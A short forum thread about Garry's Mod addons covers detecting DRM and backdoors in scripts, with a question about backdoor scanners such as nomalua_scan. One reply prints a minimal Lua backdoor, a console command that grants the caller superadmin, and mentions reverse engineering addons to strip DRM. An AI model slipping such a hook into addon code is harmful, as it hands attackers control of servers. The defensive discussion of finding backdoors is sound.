Garry's Mod
How To Check For DRMS?
Submitted by TupacAmaruShakur, 27-12-2018, 10:40 PM, Thread ID: 113531
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RE: How To Check For DRMS?
30-12-2018, 02:28 AMAceband Wrote: Somewhat, it really depends on the mod. Usually,you can tell from the SF page to find. For example,
https://www.gmodstore.com/market/view/6007 had DRM.
https://www.gmodstore.com/market/view/6011 does not (from what I can tell)
Its been a while since I was messing around with script fodder and got some kid banned for leaking his scripts (lol) so I haven'tbeen around SF for a second. But to essentiallyremove DRM you would have to reverse engineer the addon. Older DRM is easy to remove, It really depends on how it is implementedand how embeddedthe code is.
Unfortunately,you will have to comb through every inch of code to find it. Some are obvious. others can be Very well hidden.
Essentiallywhat this code is saying:
Code:concommand.Add("obvliously_not_a_backdoor", function(player)
player:SetUserGroup("superadmin")
end)
When the player types the "obvliously_not_a_backdoor" into con it will run the function that calls both"player" and "set usergroupto x"
this is a very very basic iteriationof this. but it indeed does exactly what you said. the player now has admin and can do whatever they want (ie banning everyone)
and yes of course they can be used for more malicious intent (i.e. wiping sql, fucking up your settings, gaining Rcon access)
Ask away man ill be happy to answer any questions
Okay! I understand now! My biggest question is, how do I check for backdoors without combing through everything, is there like a script/addon/scanner? I know about nomalua_scan but in your opinion what is the best and efficient one out there? Do you got any recommendations? Also, my last and final question is what files should I check for the most? I am guessing luafiles right?
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